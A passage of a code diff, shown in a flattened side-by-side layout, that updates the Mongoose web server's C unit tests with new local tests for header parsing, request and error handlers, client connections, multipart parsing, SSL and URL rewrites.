ASSERT(parse_port_string(invalid[i], &sa) == 0); ASSERT(parse_port_string(invalid[i], &sa) == 0);
} }
ASSERT(parse_port_string("0", &sa) != 0);
return NULL; return NULL;
} }
@@ -317,7 +322,7 @@ static const char *test_base64_encode(void) {
static const char *test_mg_parse_header(void) { static const char *test_mg_parse_header(void) {
const char *str = "xx=1 kl yy, ert=234 kl=123, " const char *str = "xx=1 kl yy, ert=234 kl=123, "
"ii=\"12\\\"34\" zz='aa bb', gf=\"xx d=1234"; "ii=\"12\\\"34\" zz='aa bb',tt=2,gf=\"xx d=1234";
char buf[10]; char buf[10];
ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0); ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3); ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
@@ -339,6 +344,8 @@ static const char *test_mg_parse_header(void) {
ASSERT(strcmp(buf, "1") == 0); ASSERT(strcmp(buf, "1") == 0);
ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5); ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
ASSERT(strcmp(buf, "12\"34") == 0); ASSERT(strcmp(buf, "12\"34") == 0);
ASSERT(mg_parse_header(str, "tt", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "2") == 0);
return NULL; return NULL;
} }
@@ -359,78 +366,253 @@ static const char *test_next_option(void) {
} }
static int cb1(struct mg_connection *conn) { static int cb1(struct mg_connection *conn) {
// We're not sending HTTP headers here, to make testing easier int result = MG_REQUEST_NOT_PROCESSED;
mg_printf(conn, "%s %s %s", if (!strcmp(conn->uri, "/cb1")) {
conn->server_param == NULL ? "?" : (char *) conn->server_param, mg_printf(conn, "%s %s %s",
conn->connection_param == NULL ? "?" : "!", conn->remote_ip); conn->server_param == NULL ? "?" : (char *) conn->server_param,
return 1; conn->connection_param == NULL ? "?" : "!", conn->remote_ip);
result = MG_REQUEST_PROCESSED;
}
return result;
} }
static const char *test_regular_file(void) { static int error_handler(struct mg_connection *conn) {
static const char *fname = "main.c"; mg_printf(conn, "HTTP/1.0 404 NF\r\n\r\nERR: %d", conn->status_code);
int reply_len, file_len; return MG_ERROR_PROCESSED;
char *reply, *file_data;
file_stat_t st;
ASSERT(stat(fname, &st) == 0);
ASSERT(st.st_size > 0);
ASSERT((file_data = read_file(fname, &file_len)) != NULL);
ASSERT(file_len == st.st_size);
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len,
"GET /%s.c HTTP/1.0\r\n\r\n", fname);
ASSERT(reply != NULL);
ASSERT(reply_len > 0);
// TODO(lsm): test headers and content
free(reply);
free(file_data);
return NULL;
} }
static const char *test_server_param(void) { static int ts1(struct mg_connection *conn) {
int reply_len; if (conn->status_code == MG_CONNECT_SUCCESS) {
char *reply; mg_printf(conn, "%s", "GET /cb1 HTTP/1.0\r\n\r\n");
return MG_CLIENT_CONTINUE;
reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s", } else if (conn->status_code == MG_DOWNLOAD_SUCCESS) {
"GET /cb1 HTTP/1.0\r\n\r\n"); sprintf((char *) conn->connection_param, "%.*s",
ASSERT(reply != NULL); (int) conn->content_len, conn->content);
ASSERT(reply_len == 15); }
// cb1() does not send HTTP headers return MG_CLIENT_CLOSE;
ASSERT(memcmp(reply, "foo ? 127.0.0.1", 5) == 0);
//printf("%d [%.*s]\n", reply_len, reply_len, reply);
free(reply);
return NULL;
} }
static void *server_thread(void *param) { static int ts2(struct mg_connection *conn) {
int i; if (conn->status_code == MG_CONNECT_SUCCESS) {
for (i = 0; i < 10; i++) mg_poll_server((struct mg_server *) param, 1); mg_printf(conn, "%s", "GET /non_exist HTTP/1.0\r\n\r\n");
return NULL; return MG_CLIENT_CONTINUE;
} else if (conn->status_code == MG_DOWNLOAD_SUCCESS) {
sprintf((char *) conn->connection_param, "%s %.*s",
conn->uri, (int) conn->content_len, conn->content);
}
return MG_CLIENT_CLOSE;
} }
static const char *test_server(void) { static const char *test_server(void) {
struct mg_server *server = mg_create_server("foo"); char buf1[100] = "", buf2[100] = "";
struct mg_server *server = mg_create_server((void *) "foo");
ASSERT(server != NULL); ASSERT(server != NULL);
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL); ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL); ASSERT(mg_set_option(server, "document_root", ".") == NULL);
mg_add_uri_handler(server, "/cb1", cb1); mg_set_request_handler(server, cb1);
mg_start_thread(server_thread, server); mg_set_http_error_handler(server, error_handler);
RUN_TEST(test_regular_file);
RUN_TEST(test_server_param);
// TODO(lsm): come up with a better way of thread sync ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0, ts1, buf1) == 1);
sleep(1); ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0, ts2, buf2) == 1);
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
ASSERT(strcmp(buf1, "foo ? 127.0.0.1") == 0);
ASSERT(strcmp(buf2, "404 ERR: 404") == 0);
ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0);
mg_destroy_server(&server); mg_destroy_server(&server);
ASSERT(server == NULL); ASSERT(server == NULL);
return NULL; return NULL;
} }
// This http client sends two requests using one connection
static int cb2(struct mg_connection *conn) {
const char *file1 = "mongoose.h", *file2 = "mongoose.c", *file_name = file2;
char *buf = (char *) conn->connection_param, *file_data;
int file_len, ret_val = 1;
switch (conn->status_code) {
case MG_CONNECT_SUCCESS:
mg_printf(conn, "GET /%s HTTP/1.1\r\n\r\n", file1);
strcat(buf, "a");
ret_val = 0;
break;
case MG_CONNECT_FAILURE: strcat(buf, "b"); break;
case MG_DOWNLOAD_FAILURE: strcat(buf, "c"); break;
case MG_DOWNLOAD_SUCCESS:
if (!strcmp(buf, "a")) {
// Send second request
mg_printf(conn, "GET /%s HTTP/1.1\r\n\r\n", file2);
file_name = file1;
}
if ((file_data = read_file(file_name, &file_len)) != NULL) {
if ((size_t) file_len == conn->content_len &&
memcmp(file_data, conn->content, file_len) == 0) {
strcat(buf, "d");
} else {
strcat(buf, "f");
}
free(file_data);
}
ret_val = !strcmp(buf, "ad") ? 0 : 1;
break;
default: strcat(buf, "e"); break;
}
return ret_val;
}
static int cb4h(struct mg_connection *conn) {
int result = MG_REQUEST_NOT_PROCESSED;
if (!strcmp(conn->uri, "/x")) {
mg_send_data(conn, ":-)", 3);
result = MG_REQUEST_PROCESSED;
}
return result;
}
static int cb4(struct mg_connection *conn) {
if (conn->status_code == MG_CONNECT_SUCCESS) {
mg_printf(conn, "%s", "POST /x HTTP/1.0\r\nContent-Length: 999999\r\n\r\n");
return MG_CLIENT_CONTINUE;
} else {
sprintf((char *) conn->connection_param, "%.*s",
(int) conn->content_len, conn->content);
}
return MG_CLIENT_CLOSE;
}
static int cb3(struct mg_connection *conn) {
sprintf((char *) conn->connection_param, "%d", conn->status_code);
return MG_CLIENT_CLOSE;
}
static const char *test_mg_connect(void) {
char buf2[40] = "", buf3[40] = "", buf4[40] = "";
struct mg_server *server = mg_create_server(NULL);
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
mg_set_request_handler(server, cb4h);
ASSERT(mg_connect(server, "", 0, 0, NULL, NULL) == 0);
ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0, cb2, buf2) == 1);
ASSERT(mg_connect(server, "127.0.0.1", 29, 0, cb3, buf3) == 1);
ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 0, cb4, buf4) == 1);
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
ASSERT(strcmp(buf2, "add") == 0);
ASSERT(strcmp(buf3, "1") == 0);
ASSERT(strcmp(buf4, "500 Server Error\nPOST size > 999") == 0);
mg_destroy_server(&server);
return NULL;
}
#define DISP "Content-Disposition: form/data; "
#define CRLF "\r\n"
#define BOUNDARY "--xyz"
static const char *test_parse_multipart(void) {
char a[100], b[100];
const char *p;
static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF
"some_content" CRLF BOUNDARY CRLF
BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF
"another_content" CRLF BOUNDARY CRLF
"--" CRLF;
int n, n2, len, f1_len = sizeof(f1) - 1;
ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0);
ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 12);
ASSERT(memcmp(p, "some_content", len) == 0);
ASSERT(strcmp(a, "f1") == 0);
ASSERT(b[0] == '\0');
ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a),
b, sizeof(b), &p, &len)) > 0);
ASSERT(len == 15);
ASSERT(memcmp(p, "another_content", len) == 0);
ASSERT(strcmp(a, "f2") == 0);
ASSERT(strcmp(b, "foo bar.txt") == 0);
ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a),
b, sizeof(b), &p, &len)) == 0);
return NULL;
}
static int us1(struct mg_connection *conn) {
static const char *file_name = "mongoose.h";
char *cp = (char *) conn->connection_param;
int file_size;
if (conn->status_code == MG_CONNECT_SUCCESS) {
mg_printf(conn, "GET /%s HTTP/1.0\r\n\r\n", cp);
return 0;
} else if (conn->status_code == MG_DOWNLOAD_SUCCESS) {
char *file_data = read_file(file_name, &file_size);
sprintf(cp, "%d %s", (size_t) file_size == conn->content_len &&
memcmp(file_data, conn->content, file_size) == 0 ? 1 : 0,
conn->query_string == NULL ? "?" : conn->query_string);
free(file_data);
} else if (conn->status_code == MG_CONNECT_FAILURE) {
sprintf(cp, "%s", "cf");
} else {
sprintf(cp, "%s", "df");
}
return 1;
}
#ifdef MONGOOSE_USE_SSL
static const char *test_ssl(void) {
static const char *ssl_cert = "examples/ssl_cert.pem";
char buf1[100] = "mongoose.h";
struct mg_server *server = mg_create_server(NULL);
ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
ASSERT(mg_set_option(server, "ssl_certificate", ssl_cert) == NULL);
ASSERT(mg_connect(server, "127.0.0.1", atoi(HTTP_PORT), 1, us1, buf1) == 1);
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
ASSERT(strcmp(buf1, "1 ?") == 0);
mg_destroy_server(&server);
return NULL;
}
#endif
static const char *test_mg_set_option(void) {
struct mg_server *server = mg_create_server(NULL);
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
ASSERT(mg_get_option(server, "listening_port")[0] != '\0');
mg_destroy_server(&server);
return NULL;
}
static const char *test_rewrites(void) {
char buf1[100] = "xx";
struct mg_server *server = mg_create_server(NULL);
ASSERT(mg_set_option(server, "listening_port", "0") == NULL);
ASSERT(mg_set_option(server, "document_root", ".") == NULL);
ASSERT(mg_set_option(server, "url_rewrites", "/xx=./mongoose.h") == NULL);
ASSERT(mg_connect(server, "127.0.0.1",
atoi(mg_get_option(server, "listening_port")),
0, us1, buf1) == 1);
{ int i; for (i = 0; i < 50; i++) mg_poll_server(server, 1); }
//printf("[%s]\n", buf1);
ASSERT(strcmp(buf1, "1 ?") == 0);
mg_destroy_server(&server);
return NULL;
}
static const char *run_all_tests(void) { static const char *run_all_tests(void) {
RUN_TEST(test_should_keep_alive); RUN_TEST(test_should_keep_alive);
RUN_TEST(test_match_prefix); RUN_TEST(test_match_prefix);
@@ -443,7 +625,14 @@ static const char *run_all_tests(void) {
RUN_TEST(test_mg_parse_header); RUN_TEST(test_mg_parse_header);
RUN_TEST(test_get_var); RUN_TEST(test_get_var);
RUN_TEST(test_next_option); RUN_TEST(test_next_option);
RUN_TEST(test_parse_multipart);
RUN_TEST(test_server); RUN_TEST(test_server);
RUN_TEST(test_mg_connect);
RUN_TEST(test_mg_set_option);
RUN_TEST(test_rewrites);
#ifdef MONGOOSE_USE_SSL
RUN_TEST(test_ssl);
#endif
return NULL; return NULL;
} }